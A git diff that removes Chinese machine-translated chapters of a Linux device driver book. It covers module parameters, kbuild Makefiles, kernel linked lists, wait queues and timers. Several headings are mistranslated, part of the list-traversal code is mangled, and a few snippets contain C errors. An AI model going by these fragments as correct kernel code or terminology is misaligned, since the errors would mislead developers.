-就像用户程序一样,内核模块可以从命令行接受参数。这允许根据给定的参数动态地改变模块的行为,并且可以帮助开发人员不必在测试/调试会话期间无限期地改变/编译模块。为了进行设置,首先应该声明保存命令行参数值的变量,并在每个变量上使用`module_param()`宏。宏在`include/linux/moduleparam.h`中定义(这也应该包含在代码中:`#include `)如下所示: - -```sh -module_param(name, type, perm); -``` - -该宏包含以下元素: - -* `name`:用作参数的变量的名称 -* `type`:参数的类型(bool、charp、byte、short、ushort、int、uint、long、ulong),其中`charp`代表字符指针 -* `perm`:这代表`/sys/module//parameters/`文件权限。其中有`S_IWUSR`、`S_IRUSR`、`S_IXUSR`、`S_IRGRP`、`S_WGRP`、`S_IRUGO`,其中: - * `S_I`只是一个前缀 - * `R`:读、`W`:写、`X`:执行 - * `USR`:用户、`GRP`:群组、`UGO`:用户、群组、其他 - -一个人最终可以使用`|`(或操作)来设置多个权限。如果 perm 是`0`,将不创建`sysfs`中的文件参数。你应该只使用`S_IRUGO`只读参数,我强烈推荐;通过制作一个带有其他属性的`|` (OR),可以获得细粒度的属性。 - -在使用模块参数时,应该使用`MODULE_PARM_DESC`来描述它们。这个宏将用每个参数的描述填充模块信息部分。以下是一个示例,来自本书代码库提供的`helloworld-params.c`源文件: - -```sh -#include -[...] - -static char *mystr = "hello"; -static int myint = 1; -static int myarr[3] = {0, 1, 2}; - -module_param(myint, int, S_IRUGO); -module_param(mystr, charp, S_IRUGO); -module_param_array(myarr, int,NULL, S_IWUSR|S_IRUSR); /* */ - -MODULE_PARM_DESC(myint,"this is my int variable"); -MODULE_PARM_DESC(mystr,"this is my char pointer variable"); -MODULE_PARM_DESC(myarr,"this is my array of int"); - -static int foo() -{ - pr_info("mystring is a string: %s\n", mystr); - pr_info("Array elements: %d\t%d\t%d", myarr[0], myarr[1], myarr[2]); - return myint; -} -``` - -为了加载模块并输入我们的参数,我们执行以下操作: - -```sh -# insmod hellomodule-params.ko mystring="packtpub" myint=15 myArray=1,2,3 - -``` - -为了显示模块支持的参数描述,可以在加载模块之前使用`modinfo`: - -```sh -$ modinfo ./helloworld-params.ko -filename: /home/jma/work/tutos/sources/helloworld/./helloworld-params.ko -license: GPL -author: John Madieu -srcversion: BBF43E098EAB5D2E2DD78C0 -depends: -vermagic: 4.4.0-93-generic SMP mod_unload modversions -parm: myint:this is my int variable (int) -parm: mystr:this is my char pointer variable (charp) -parm: myarr:this is my array of int (array of int) -``` - -# 构建您的第一个模块 - -有两个地方可以构建模块。这取决于您是否希望人们自己启用该模块,或者不使用内核配置接口。 - -# 模块的生成文件 - -makefile 是用于执行一组操作的特殊文件,其中最重要的是程序的编译。有一个解析 makefiles 的专用工具,叫做`make`。在跳到整个 make 文件的描述之前,让我们先介绍一下`obj-` kbuild 变量。 - -几乎在每一个内核 makefile 中,你都会看到至少一个`obj<-X>`变量的实例。这其实对应的是`obj-`模式,``应该是`y`、`m`,留空,或者`n`。这是内核 makefile 从内核构建系统的头部以一般方式使用的。这些行定义了要构建的文件、任何特殊的编译选项以及任何要递归输入的子目录。一个简单的例子是: - -```sh - obj-y += mymodule.o -``` - -这告诉 kbuild 当前目录中有一个名为`mymodule.o`的对象。`mymodule.o`将由`mymodule.c`或`mymodule.S`建造。`mymodule.o`将如何建造或连接取决于``的价值: - -* 如果``设置为`m`,则使用变量`obj-m`,将`mymodule.o`构建为一个模块。 -* 如果``设置为`y`,则使用变量`obj-y`,并且`mymodule.o`将作为内核的一部分构建。然后有人说 foo 是一个内置模块。 -* 如果``设置为`n`,则使用变量`obj-m`,根本不建`mymodule.o`。 - -因此,经常使用模式`obj-$(CONFIG_XXX)`,其中`CONFIG_XXX`是内核配置选项,在内核配置过程中设置或不设置。一个例子是: - -```sh -obj-$(CONFIG_MYMODULE) += mymodule.o -``` - -`$(CONFIG_MYMODULE)`在内核配置期间根据其值评估为`y`或`m`(记住`make menuconfig`)。如果`CONFIG_MYMODULE`既不是`y`也不是`m`,则文件不会被编译也不会被链接。`y`表示内置(在内核配置过程中代表是)`m`代表模块。`$(CONFIG_MYMODULE)`从正常配置过程中提取正确答案。这将在下一节中解释。 - -最后一个用例是: - -```sh -obj- += somedir/ -``` - -这意味着 kbuild 应该进入名为`somedir`的目录;在里面寻找任何 makefile 并处理它,以便决定应该构建什么对象。 - -回到 makefile,以下是我们将用来构建书中介绍的每个模块的内容 makefile: - -```sh -obj-m := helloworld.o - -KERNELDIR ?= /lib/modules/$(shell uname -r)/build - -all default: modules -install: modules_install - -modules modules_install help clean: -$(MAKE) -C $(KERNELDIR) M=$(shell pwd) $@ -``` - -* `obj-m := hellowolrd.o` : `obj-m`列出我们想要构建的模块。对于每个`.o`,构建系统将寻找一个`.c`来构建。`obj-m`用于构建模块,而`obj-y`将生成内置对象。 -* `KERNELDIR := /lib/modules/$(shell uname -r)/build` : `KERNELDIR`是预建内核源码的位置。如前所述,我们需要一个预构建的内核来构建任何模块。如果您已经从源代码构建了您的内核,那么应该用构建的源目录的绝对路径来设置这个变量。`-C`指示 make utility 在读取 makefiles 或执行任何其他操作之前更改到指定的目录。 -* `M=$(shell pwd)`:这与内核构建系统有关。内核 Makefile 使用这个变量来定位要构建的外部模块的目录。你的。应该放置 c 文件。 -* `all default: modules`:这条线指示`make`实用程序执行`modules`目标,无论是`all`还是`default`目标,这些都是构建用户应用的经典目标。换句话说,`make default`或`make all`或简单的`make`命令将被翻译成`make modules`。 -* `modules modules_install help clean:`:这一行代表在这个 Makefile 中有效的列表目标。 -* `$(MAKE) -C $(KERNELDIR ) M=$(shell pwd) $@`:这是上面列举的每个目标要执行的规则。`$@`将替换为导致规则运行的目标的名称。换句话说,如果一个人调用 make modules,`$@`将被 modules 替换,规则将变成:`$(MAKE) -C $(KERNELDIR ) M=$(shell pwd) module`。 - -# 在内核树中 - -在您可以在内核树中构建您的驱动之前,您应该首先识别驱动中的哪个目录应该托管您的`.c`文件。给定您的文件名`mychardev.c`,其中包含您的特殊字符驱动的源代码,它应该被放置到内核源代码中的`drivers/char`目录。驱动中的每个子目录都有`Makefile`和`Kconfig`文件。 - -将以下内容添加到该目录的`Kconfig`中: - -```sh -config PACKT_MYCDEV - tristate "Our packtpub special Character driver" - default m - help - Say Y here if you want to support the /dev/mycdev device. - The /dev/mycdev device is used to access packtpub. -``` - -在同一目录的 makefile 中,添加: - -```sh -obj-$(CONFIG_PACKT_MYCDEV) += mychardev.o -``` - -更新`Makefile`时要小心;`.o`文件名必须与您的`.c`文件的确切名称相匹配。如果你的源文件是`foobar.c,`,你必须在`Makefile`中使用`foobar.o`。为了将您的驱动构建为一个模块,请在`arch/arm/configs`目录中的电路板 defconfig 中添加以下行: - -```sh -CONFIG_PACKT_MYCDEV=m -``` - -你也可以运行`make menuconfig`从 UI 中选择它,运行`make`,构建内核,然后`make modules`构建模块(包括你的)。要内置驱动,只需将`m`更换为`y`: - -```sh -CONFIG_PACKT_MYCDEV=m -``` - -这里描述的一切都是嵌入式板制造商为了给他们的板提供一个**板支持包** ( **BSP** )所做的,其内核已经包含了他们的定制驱动: - -![](img/00009.jpeg) - -packt_dev module in kernel tree - -配置完成后,可以用`make`构建内核,用`make modules`构建模块。 - -内核源代码树中包含的模块安装在`/lib/modules/$(KERNELRELEASE)/kernel/`中。在你的 Linux 系统上,是`/lib/modules/$(uname -r)/kernel/`。运行以下命令以安装模块: - -```sh -make modules_install -``` - -# 从树上下来 - -在构建外部模块之前,您需要有一个完整且预编译的内核源代码树。内核源代码树版本必须与您将要加载和使用模块的内核相同。有两种方法可以获得预构建的内核版本: - -* 自己构建它(前面讨论过) -* 从您的分发库中安装`linux-headers-*`包 - -```sh - sudo apt-get update - sudo apt-get install linux-headers-$(uname -r) -``` - -这将只安装头,而不是整个源树。然后将集管安装在`/usr/src/linux-headers-$(uname -r)`中。在我的电脑上,是`/usr/src/linux-headers-4.4.0-79-generic/`。将有一个符号链接,`/lib/modules/$(uname -r)/build`,指向以前安装的标题。这是您应该在`Makefile`中指定为内核目录的路径。这是您为一个预构建的内核所要做的一切。 - -# 构建模块 - -现在,当您完成 makefile 后,只需切换到您的源目录并运行`make`命令,或`make modules`: - -```sh - jma@jma:~/work/tutos/sources/helloworld$ make - make -C /lib/modules/4.4.0-79-generic/build \ - M=/media/jma/DATA/work/tutos/sources/helloworld modules - make[1]: Entering directory '/usr/src/linux-headers-4.4.0-79-generic' - CC [M] /media/jma/DATA/work/tutos/sources/helloworld/helloworld.o - Building modules, stage 2. - MODPOST 1 modules - CC /media/jma/DATA/work/tutos/sources/helloworld/helloworld.mod.o - LD [M] /media/jma/DATA/work/tutos/sources/helloworld/helloworld.ko - make[1]: Leaving directory '/usr/src/linux-headers-4.4.0-79-generic' - - jma@jma:~/work/tutos/sources/helloworld$ ls - helloworld.c helloworld.ko helloworld.mod.c helloworld.mod.o helloworld.o Makefile modules.order Module.symvers - - jma@jma:~/work/tutos/sources/helloworld$ sudo insmod helloworld.ko - jma@jma:~/work/tutos/sources/helloworld$ sudo rmmod helloworld - jma@jma:~/work/tutos/sources/helloworld$ dmesg - [...] - [308342.285157] Hello world! - [308372.084288] End of the world - -``` - -前面的例子只涉及本机构建,在 x86 机器上为 x86 机器编译。交叉编译呢?这是一个在机器 A 上编译的过程,称为主机,一个旨在机器 B 上运行的代码,称为目标;主机和目标具有不同的体系结构。经典的用例是在 x86 机器上构建一个应该在 ARM 架构上运行的代码,这正是我们的情况。 - -说到交叉编译内核模块,内核 makefile 需要注意两个变量;它们分别是:`ARCH`和`CROSS_COMPILE`,分别代表目标架构和编译器前缀名称。所以内核模块的本机编译和交叉编译之间的变化是`make`命令。以下是为 ARM 构建的系列: - -```sh -make ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabihf- -``` - -# 摘要 - -本章向您展示了驱动开发的基础知识,并解释了模块/内置设备的概念,以及它们的加载和卸载。即使无法与用户空间交互,也已经准备好编写完整的驱动,打印格式化的消息,理解`init` / `exit`的概念。下一章将讨论字符设备,通过这些设备,您将能够瞄准增强的功能,编写可从用户空间访问的代码,并对系统产生重大影响。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/03.md b/docs/linux-device-driver-dev/03.md deleted file mode 100644 index 442a18e3..00000000 --- a/docs/linux-device-driver-dev/03.md +++ /dev/null @@ -1,1681 +0,0 @@ -# 三、内核工具和助手函数 - -正如您将在本章中看到的,内核是一个独立的软件,它不使用任何 C 库。它实现了您在现代库中可能遇到的任何机制,甚至更多,例如压缩、字符串函数等。我们将逐步介绍这种能力的最重要方面。 - -在本章中,我们将讨论以下主题: - -* 介绍内核容器数据结构 -* 处理内核休眠机制 -* 使用计时器 -* 深入研究内核锁定机制(互斥、spnlock) -* 使用内核专用的应用编程接口推迟工作 -* 使用 IRQs - -# 理解宏的容器 - -当涉及到管理代码中的几个数据结构时,您几乎总是需要将一个结构嵌入到另一个结构中,并随时检索它们,而不会被问到关于内存偏移或边界的问题。假设你有一个`struct person`,如这里所定义的: - -```sh - struct person { - int age; - char *name; - } p; -``` - -只要在`age`或`name`上有一个指针,就可以检索包装(包含)该指针的整个结构。顾名思义,`container_of`宏用于查找结构中给定字段的容器。宏在`include/linux/kernel.h`中定义,如下所示: - -```sh -#define container_of(ptr, type, member) ({ \ - const typeof(((type *)0)->member) * __mptr = (ptr); \ - (type *)((char *)__mptr - offsetof(type, member)); }) -``` - -不要害怕指针;就当它是: - -```sh -container_of(pointer, container_type, container_field); -``` - -下面是前面代码片段的元素: - -* `pointer`:这是指向结构中字段的指针 -* `container_type`:这是包装(包含)指针的结构类型 -* `container_field`:这是结构内部`pointer`指向的字段名称 - -让我们考虑以下容器: - -```sh -struct person { - int age; - char *name; - }; -``` - -现在让我们考虑它的一个实例,以及一个指向`name`成员的指针: - -```sh -struct person somebody; -[...] -char *the_name_ptr = somebody.name; -``` - -除了指向`name`成员(`the_name_ptr`)的指针外,您还可以使用`container_of`宏,通过以下方式获取指向包装该成员的整个结构(容器)的指针: - -```sh -struct person *the_person; -the_person = container_of(the_name_ptr, struct person, name); -``` - -`container_of`考虑结构开始处`name`的偏移量,得到正确的指针位置。如果您从指针`the_name_ptr`中减去字段`name`的偏移量,您将获得正确的位置。这是宏的最后一行: - -```sh -(type *)( (char *)__mptr - offsetof(type,member) ); -``` - -将此应用于一个真实的示例,它给出了以下内容: - -```sh -struct family { - struct person *father; - struct person *mother; - int number_of_suns; - int salary; -} f; - -/* - * pointer to a field of the structure - * (could be any member of any family) -*/ -struct *person = family.father; -struct family *fam_ptr; - -/* now let us retrieve back its family */ -fam_ptr = container_of(person, struct family, father); -``` - -关于`container_of`宏,你只需要知道这些,相信我,就够了。在我们将在本书中进一步开发的真实驱动中,它看起来如下: - -```sh -struct mcp23016 { - struct i2c_client *client; - struct gpio_chip chip; -} - -/* retrive the mcp23016 struct given a pointer 'chip' field */ -static inline struct mcp23016 *to_mcp23016(struct gpio_chip *gc) -{ - return container_of(gc, struct mcp23016, chip); -} - -static int mcp23016_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - struct mcp23016 *mcp; - [...] - mcp = devm_kzalloc(&client->dev, sizeof(*mcp), GFP_KERNEL); - if (!mcp) - return -ENOMEM; - [...] -} -``` - -`controller_of`宏主要用于内核中的泛型容器。在本书的一些例子中(从[第五章](05.html#4B7I40-dbde2ca892a6480b9727afb6a9c9e924)、*平台设备驱动*开始),你会遇到`container_of`宏。 - -# 合框架 - -假设您有一个管理多个设备的驱动,比如说五个设备。您可能需要在您的驱动中记录它们。这里需要的是一个链表。实际上存在两种类型的链表: - -* 简单链表 -* 双向链表 - -因此,内核开发人员只实现循环双链表,因为这种结构允许您实现先进先出和后进先出,并且内核开发人员注意维护最少的代码集。为了支持列表,代码中要添加的标题是``。内核中列表实现的核心数据结构是`struct list_head`结构,定义如下: - -```sh -struct list_head { - struct list_head *next, *prev; - }; -``` - -`struct list_head`用于列表的头部和每个节点。在内核世界中,在一个数据结构可以表示为链表之前,该结构必须嵌入一个`struct list_head`字段。例如,让我们创建一个汽车列表: - -```sh -struct car { - int door_number; - char *color; - char *model; -}; -``` - -在我们为汽车创建列表之前,我们必须改变它的结构,以便嵌入一个`struct list_head`字段。结构变成: - -```sh -struct car { - int door_number; - char *color; - char *model; - struct list_head list; /* kernel's list structure */ -}; -``` - -首先,我们需要创建一个`struct list_head`变量,该变量将始终指向列表的头部(第一个元素)。`list_head`的这个实例与任何汽车都没有关联,并且是特殊的: - -```sh -static LIST_HEAD(carlist) ; -``` - -现在,我们可以创建汽车并将其添加到我们的列表中— `carlist`: - -```sh -#include - -struct car *redcar = kmalloc(sizeof(*car), GFP_KERNEL); -struct car *bluecar = kmalloc(sizeof(*car), GFP_KERNEL); - -/* Initialize each node's list entry */ -INIT_LIST_HEAD(&bluecar->list); -INIT_LIST_HEAD(&redcar->list); - -/* allocate memory for color and model field and fill every field */ - [...] -list_add(&redcar->list, &carlist) ; -list_add(&bluecar->list, &carlist) ; -``` - -就这么简单。现在,`carlist`包含两个元素。让我们更深入地了解链表 API。 - -# 创建和初始化列表 - -有两种方法可以创建和初始化列表: - -# 动力法 - -动态方法包括一个`struct list_head`并用`INIT_LIST_HEAD`宏初始化它: - -```sh -struct list_head mylist; -INIT_LIST_HEAD(&mylist); -``` - -以下是`INIT_LIST_HEAD`的扩展: - -```sh -static inline void INIT_LIST_HEAD(struct list_head *list) - { - list->next = list; - list->prev = list; - } -``` - -# 静态法 - -静态分配通过`LIST_HEAD`宏完成: - -```sh -LIST_HEAD(mylist) -``` - -`LIST_HEAD` s 的定义定义如下: - -```sh -#define LIST_HEAD(name) \ - struct list_head name = LIST_HEAD_INIT(name) -``` - -以下是它的扩展: - -```sh -#define LIST_HEAD_INIT(name) { &(name), &(name) } -``` - -这将分配`name`字段中的每个指针(`prev`和`next`)指向`name`本身(就像`INIT_LIST_HEAD`一样)。 - -# 创建列表节点 - -要创建新节点,只需创建我们的数据结构实例,并初始化其嵌入的`list_head`字段。以汽车为例,它将给出以下内容: - -```sh -struct car *blackcar = kzalloc(sizeof(struct car), GFP_KERNEL); - -/* non static initialization, since it is the embedded list field*/ -INIT_LIST_HEAD(&blackcar->list); -``` - -如前所述,使用`INIT_LIST_HEAD,`,这是一个动态分配的列表,通常是另一个结构的一部分。 - -# 添加列表节点 - -内核提供`list_add`向列表中添加一个新的条目,它是内部函数`__list_add`的包装器: - -```sh -void list_add(struct list_head *new, struct list_head *head); -static inline void list_add(struct list_head *new, struct list_head *head) -{ - __list_add(new, head, head->next); -} -``` - -`__list_add`将两个已知条目作为参数,并在它们之间插入您的元素。它在内核中的实现非常简单: - -```sh -static inline void __list_add(struct list_head *new, - struct list_head *prev, - struct list_head *next) -{ - next->prev = new; - new->next = next; - new->prev = prev; - prev->next = new; -} -``` - -以下是在我们的列表中添加两辆汽车的示例: - -```sh -list_add(&redcar->list, &carlist); -list_add(&blue->list, &carlist); -``` - -此模式可用于实现堆栈。向列表中添加条目的另一个功能是: - -```sh -void list_add_tail(struct list_head *new, struct list_head *head); -``` - -这将在列表末尾插入给定的新条目。给定我们之前的示例,我们可以使用以下内容: - -```sh -list_add_tail(&redcar->list, &carlist); -list_add_tail(&blue->list, &carlist); -``` - -这种模式可用于实现队列。 - -# 从列表中删除节点 - -列表处理在内核代码中是一项简单的任务。删除节点很简单: - -```sh - void list_del(struct list_head *entry); -``` - -按照前面的例子,让我们删除红色汽车: - -```sh -list_del(&redcar->list); -``` - -`list_del` disconnects the `prev` and `next` pointers of the given entry, resulting in an entry removal. The memory allocated for the node is not freed yet; you need to do that manually with `kfree`. - -# 链表遍历 - -我们有用于列表遍历的宏`list_for_each_entry(pos, head, member)`。 - -* `head`是列表的头节点。 -* `member`是我们的数据结构中列表`struct list_head`的名称(在我们的例子中,它是`list`)。 -* `pos`用于迭代。它是一个循环光标(就像`for(i=0; icolor == "blue") - blue_car_num++; -} - -``` - -为什么我们的数据结构中需要`list_head`类型字段的名称?看看`list_for_each_entry`的定义: - -```sh -#define list_for_each_entry(pos, head, member) \ -for (pos = list_entry((head)->next, typeof(*pos), member); \ - &pos->member != (head); \ - pos = list_entry(pos->member.next, typeof(*pos), member)) - -#define list_entry(ptr, type, member) \ - container_of(ptr, type, member) -``` - -有鉴于此,我们可以理解这一切都是关于`container_of`的力量。还要牢记`list_for_each_entry_safe(pos, n, head, member)`。 - -# 内核休眠机制 - -睡眠是一个进程放松处理器的机制,有可能处理另一个进程。处理器能够休眠的原因可能是为了感知数据可用性,或者等待资源空闲。 - -内核调度程序管理要运行的任务列表,称为运行队列。休眠进程不再被调度,因为它们被从运行队列中移除。除非它的状态改变(即它醒来),否则永远不会执行睡眠进程。当一个处理器在等待某个东西(资源或其他东西)时,你可以放松它,并确保某个条件或其他人会唤醒它。也就是说,Linux 内核通过提供一组函数和数据结构来简化睡眠机制的实现。 - -# 等待队列 - -等待队列本质上用于处理阻塞的输入/输出,等待特定条件为真,并检测数据或资源可用性。为了了解它是如何工作的,让我们来看看它在`include/linux/wait.h`中的结构: - -```sh -struct __wait_queue { - unsigned int flags; -#define WQ_FLAG_EXCLUSIVE 0x01 - void *private; - wait_queue_func_t func; - struct list_head task_list; -}; -``` - -让我们关注`task_list`场。如你所见,这是一份清单。您想要进入睡眠状态的每个进程都在该列表中排队(因此得名*等待队列*,并进入睡眠状态,直到某个条件变为真。等待队列只能被看作是一个简单的进程列表和一个锁。 - -处理等待队列时,您将始终面临以下功能: - -* 静态声明: - -```sh -DECLARE_WAIT_QUEUE_HEAD(name) -``` - -* 动态声明: - -```sh -wait_queue_head_t my_wait_queue; -init_waitqueue_head(&my_wait_queue); -``` - -* 阻塞: - -```sh -/* - * block the current task (process) in the wait queue if - * CONDITION is false - */ -int wait_event_interruptible(wait_queue_head_t q, CONDITION); -``` - -* 解除封锁: - -```sh -/* - * wake up one process sleeping in the wait queue if - * CONDITION above has become true - */ -void wake_up_interruptible(wait_queue_head_t *q); -``` - -`wait_event_interruptible`不连续轮询,只是在调用时评估条件。如果条件为假,进程将进入`TASK_INTERRUPTIBLE`状态,并从运行队列中删除。只有当你每次在等待队列中呼叫`wake_up_interruptible`时,情况才会被再次检查。如果在`wake_up_interruptible`运行时条件为真,等待队列中的一个进程将被唤醒,其状态设置为`TASK_RUNNING`。进程按照它们被置于睡眠状态的顺序被唤醒。要唤醒队列中等待的所有进程,您应该使用`wake_up_interruptible_all`。 - -In fact, the main functions are `wait_event`, `wake_up`, and `wake_up_all`. They are used with processes in the queue in an exclusive (uninterruptible) wait, since they can't be interrupted by the signal. They should be used only for critical tasks. Interruptible functions are just optional (but recommended). Since they can be interrupted by signals, you should check their return value. A nonzero value means your sleep has been interrupted by some sort of signal, and the driver should return `ERESTARTSYS`. - -如果有人打了`wake_up`或`wake_up_interruptible`,条件还是`FALSE`,那就什么都不会发生。没有`wake_up`(或`wake_up_interuptible`,进程永远不会被唤醒。下面是一个等待队列的例子: - -```sh -#include -#include -#include -#include -#include -#include - -static DECLARE_WAIT_QUEUE_HEAD(my_wq); -static int condition = 0; - -/* declare a work queue*/ -static struct work_struct wrk; - -static void work_handler(struct work_struct *work) -{ - printk("Waitqueue module handler %s\n", __FUNCTION__); - msleep(5000); - printk("Wake up the sleeping module\n"); - condition = 1; - wake_up_interruptible(&my_wq); -} - -static int __init my_init(void) -{ - printk("Wait queue example\n"); - - INIT_WORK(&wrk, work_handler); - schedule_work(&wrk); - - printk("Going to sleep %s\n", __FUNCTION__); - wait_event_interruptible(my_wq, condition != 0); - - pr_info("woken up by the work job\n"); - return 0; -} - -void my_exit(void) -{ - printk("waitqueue example cleanup\n"); -} - -module_init(my_init); -module_exit(my_exit); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -在上例中,当前进程(实际上是`insmod`)将在等待队列中休眠 5 秒钟,并被工作处理程序唤醒。`dmesg`输出如下: - -```sh - [342081.385491] Wait queue example - [342081.385505] Going to sleep my_init - [342081.385515] Waitqueue module handler work_handler - [342086.387017] Wake up the sleeping module - [342086.387096] woken up by the work job - [342092.912033] waitqueue example cleanup - -``` - -# 延迟和定时器管理 - -时间是最常用的资源之一,仅次于记忆。它被用来做几乎所有的事情:推迟工作、睡眠、日程安排、超时和许多其他任务。 - -有两类时间。内核使用绝对时间来知道现在是什么时间,也就是一天中的日期和时间,而相对时间由例如内核调度器使用。对于绝对时间,有一个硬件芯片叫做**实时时钟** ( **RTC** )。我们将在本书后面的[第 18 章](18.html#BRHVS0-dbde2ca892a6480b9727afb6a9c9e924)、 *RTC 驱动中讨论这些设备。*另一方面,为了处理相对时间,内核依赖于一个 CPU 特性(外设),称为定时器,从内核的角度来看,称为*内核定时器*。内核定时器是我们将在本节中讨论的内容。 - -内核定时器分为两个不同的部分: - -* 标准计时器或系统计时器 -* 高分辨率计时器 - -# 标准计时器 - -标准定时器是在 jiffies 粒度上运行的内核定时器。 - -# Jiffies 和 HZ - -瞬间是在``中声明的核心时间单位。为了理解 jiffies,我们需要引入一个新的常数 HZ,即`jiffies`在一秒内递增的次数。每个增量被称为一个*刻度*。换句话说,HZ 代表瞬间的大小。HZ 取决于硬件和内核版本,也决定了时钟中断触发的频率。这在某些架构上是可配置的,在其他架构上是固定的。 - -意思是`jiffies`每秒增加 HZ 次。如果 HZ = 1,000,则递增 1,000 次(即每 1/1,000 秒一次)。定义后,**可编程中断定时器** ( **PIT** )是一个硬件组件,用该值进行编程,以便在 PIT 中断进入时增加 jiffies。 - -根据平台的不同,jiffies 可能会导致溢出。在 32 位系统上,HZ = 1,000 只会产生大约 50 天的持续时间,而在 64 位系统上,持续时间大约为 6 亿年。通过将 jiffies 存储在 64 位变量中,问题得以解决。第二个变量已经在``中引入和定义: - -```sh -extern u64 jiffies_64; -``` - -在 32 位系统上,以这种方式,`jiffies`将指向低阶 32 位,`jiffies_64`将指向高阶位。在 64 位平台上,`jiffies = jiffies_64`。 - -# 计时器应用编程接口 - -定时器在内核中表示为`timer_list`的一个实例: - -```sh -#include - -struct timer_list { - struct list_head entry; - unsigned long expires; - struct tvec_t_base_s *base; - void (*function)(unsigned long); - unsigned long data; -); -``` - -`expires`是一个以吉菲兹为单位的绝对值。`entry`是双向链表,`data`是可选的,传递给回调函数。 - -# 定时器设置初始化 - -以下是初始化计时器的步骤: - -1. **设置定时器:**设置定时器,输入自定义回拨和数据: - -```sh -void setup_timer( struct timer_list *timer, \ - void (*function)(unsigned long), \ - unsigned long data); -``` - -也可以使用这个: - -```sh -void init_timer(struct timer_list *timer); -``` - -`setup_timer`是`init_timer`的包装。 - -2. **设置到期时间:**定时器初始化时,我们需要在回调触发前设置它的到期时间: - -```sh -int mod_timer( struct timer_list *timer, unsigned long expires); -``` - -3. **释放定时器:**当你用完定时器后,需要释放它: - -```sh -void del_timer(struct timer_list *timer); -int del_timer_sync(struct timer_list *timer); -``` - -`del_timer`返回`void`是否关闭了等待定时器。它的返回值在非活动计时器上是`0`,或者在活动计时器上是`1`。最后一个,`del_timer_sync`,等待处理程序完成它的执行,甚至那些可能发生在另一个中央处理器上的。您不应该持有阻止处理程序完成的锁,否则将导致死锁。您应该在模块清理例程中释放计时器。您可以独立检查计时器是否在运行: - -```sh -int timer_pending( const struct timer_list *timer); -``` - -此函数检查是否有任何触发的计时器回调挂起。 - -# 标准计时器示例 - -```sh -#include -#include -#include -#include - -static struct timer_list my_timer; - -void my_timer_callback(unsigned long data) -{ - printk("%s called (%ld).\n", __FUNCTION__, jiffies); -} - -static int __init my_init(void) -{ - int retval; - printk("Timer module loaded\n"); - - setup_timer(&my_timer, my_timer_callback, 0); - printk("Setup timer to fire in 300ms (%ld)\n", jiffies); - - retval = mod_timer( &my_timer, jiffies + msecs_to_jiffies(300) ); - if (retval) - printk("Timer firing failed\n"); - - return 0; -} - -static void my_exit(void) -{ - int retval; - retval = del_timer(&my_timer); - /* Is timer still active (1) or no (0) */ - if (retval) - printk("The timer is still in use...\n"); - - pr_info("Timer module unloaded\n"); -} - -module_init(my_init); -module_exit(my_exit); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Standard timer example"); -MODULE_LICENSE("GPL"); -``` - -# 高分辨率计时器 - -标准计时器不太精确,不适合实时应用。内核 v2.6.16 中引入的高分辨率计时器(由内核配置中的`CONFIG_HIGH_RES_TIMERS`选项启用)的分辨率为微秒(最高可达纳秒,具体取决于平台),而标准计时器的分辨率为毫秒。标准定时器依赖于 HZ(因为它们依赖于 jiffies),而 HRT 实现基于`ktime`。 - -在系统上使用之前,内核和硬件必须支持 HRT。换句话说,必须实现一个依赖于 arch 的代码来访问您的硬件 HRTs。 - -# HR 的 API - -所需的标题是: - -```sh -#include -``` - -HRT 在内核中表示为`hrtimer`的一个实例: - -```sh -struct hrtimer { - struct timerqueue_node node; - ktime_t _softexpires; - enum hrtimer_restart (*function)(struct hrtimer *); - struct hrtimer_clock_base *base; - u8 state; - u8 is_rel; -}; -``` - -# 心率变异性设置初始化 - -1. **初始化 hrtimer** :在 hrtimer 初始化之前,需要设置一个`ktime`,代表时长。我们将在下面的示例中看到如何实现这一点: - -```sh - void hrtimer_init( struct hrtimer *time, clockid_t which_clock, - enum hrtimer_mode mode); -``` - -2. **启动 hrtimer** :如下例所示可以启动 hrtimer: - -```sh -int hrtimer_start( struct hrtimer *timer, ktime_t time, - const enum hrtimer_mode mode); -``` - -`mode`代表到期模式。绝对时间值应该是`HRTIMER_MODE_ABS`,相对于现在的时间值应该是`HRTIMER_MODE_REL`。 - -3. **HR 定时器取消**:你可以取消定时器,也可以看看是否可以取消: - -```sh -int hrtimer_cancel( struct hrtimer *timer); -int hrtimer_try_to_cancel(struct hrtimer *timer); -``` - -当定时器未激活时,两者都返回`0`,当定时器激活时,两者都返回`1`。这两个功能的区别在于`hrtimer_try_to_cancel`在定时器激活或者回调运行时失败,返回`-1`,而`hrtimer_cancel`将等待回调结束。 - -我们可以通过以下方式独立检查 hrtimer 的回调是否仍在运行: - -```sh -int hrtimer_callback_running(struct hrtimer *timer); -``` - -记住,`hrtimer_try_to_cancel`内部调用`hrtimer_callback_running`。 - -In order to prevent the timer from automatically restarting, the hrtimer callback function must return `HRTIMER_NORESTART`. - -您可以通过执行以下操作来检查系统上是否有人力资源终端: - -* 通过查看内核配置文件,它应该包含类似`CONFIG_HIGH_RES_TIMERS=y: zcat /proc/configs.gz | grep CONFIG_HIGH_RES_TIMERS`的内容。 -* 通过查看`cat /proc/timer_list`或`cat /proc/timer_list | grep resolution`结果。`.resolution`条目必须显示 1 纳秒,事件处理程序必须显示`hrtimer_interrupts`。 -* 通过使用`clock_getres`系统调用。 -* 从内核代码中,通过使用`#ifdef CONFIG_HIGH_RES_TIMERS`。 - -在您的系统上启用了 HRTs 后,睡眠和定时器系统调用的准确性不再依赖于 jiffies,但它们仍然像 HRTs 一样准确。这就是有些系统不支持`nanosleep()`的原因,比如。 - -# 动态滴答/发痒内核 - -使用以前的 HZ 选项,内核每秒中断 HZ 次,以便重新安排任务,即使在空闲状态下也是如此。如果将 HZ 设置为 1000,每秒会有 1000 个内核中断,防止 CPU 长时间闲置,从而影响 CPU 功耗。 - -现在让我们看看一个没有固定或预定义记号的内核,其中记号被禁用,直到需要执行某个任务。我们称这样的内核为**挠痒痒内核**。事实上,滴答激活是根据下一个动作来安排的。正确的名字应该是**动态勾核**。内核负责任务调度,并维护系统中可运行任务的列表(运行队列)。当没有要调度的任务时,调度器切换到空闲线程,这通过禁用周期性滴答直到下一个定时器到期(新任务排队等待处理)来启用动态滴答。 - 